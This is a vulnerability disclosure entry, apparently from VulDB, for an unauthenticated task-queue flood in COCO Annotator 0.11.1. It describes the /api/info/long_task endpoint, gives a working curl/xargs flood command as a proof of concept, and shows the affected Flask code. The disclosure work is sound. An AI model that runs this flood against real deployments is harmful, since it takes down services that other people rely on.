| 标题 | coco-annotator 0.11.1 Denial of Service |
|---|
| 描述 | ???? Summary
The endpoint: /api/info/long_task is exposed without authentication or rate limiting, and allows any remote user to enqueue Celery background tasks and write entries to the database (TaskModel) on every request.
This creates a critical Denial of Service (DoS) vulnerability. An attacker can flood the endpoint with repeated requests, overwhelming the Celery queue and workers, bloating the database, and rendering the entire application unresponsive — even after the attack stops.
???? Details
➤ Vulnerable Endpoint: /api/info/long_task
???? PoC
1. Run attack flood:
seq 1 9999999 | xargs -n1 -P50 curl -s http://localhost:5001/api/info/long_task > /dev/null
2. Observe symptoms:
Frontend (COCO Annotator) becomes unresponsive (“Loading datasets…” spinner indefinitely)
HTTP requests slow down or fail:
curl -o /dev/null -s -w "Total: %{time_total}s\n" http://localhost:5001/api/info/long_task
System logs show massive task creation and MongoDB inserts
redis-cli LLEN celery shows queue depth growing uncontrollably
3. Even after stopping the flood (CTRL+C), system remains unusable
Affected Code
@api.route('/long_task')
class TaskTest(Resource):
def get(self):
task_model = TaskModel(group="test", name="Testing Celery")
task_model.save()
task = long_task.delay(20, task_model.id)
return {'id': task.id, 'state': task.state}
Missing: @login_required, @limiter.limit(...) |
|---|
| 来源 | ⚠️ https://github.com/nmmorette/vulnerability-research/blob/main/coco-anotator/Unauthenticated%20Task%20Queue%20Flood%20in%20COCO%20Annotator%202f1ef09b873680f99d39e3f7db9886fa.md |
|---|
| 用户 | nmmorette (UID 87361) |
|---|
| 提交 | 2026-01-23 14時20分 (4 月前) |
|---|
| 管理 | 2026-02-06 15時23分 (14 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 344684 [jsbroks COCO Annotator 直到 0.11.1 Endpoint /api/info/long_task 拒绝服务] |
|---|
| 积分 | 20 |
|---|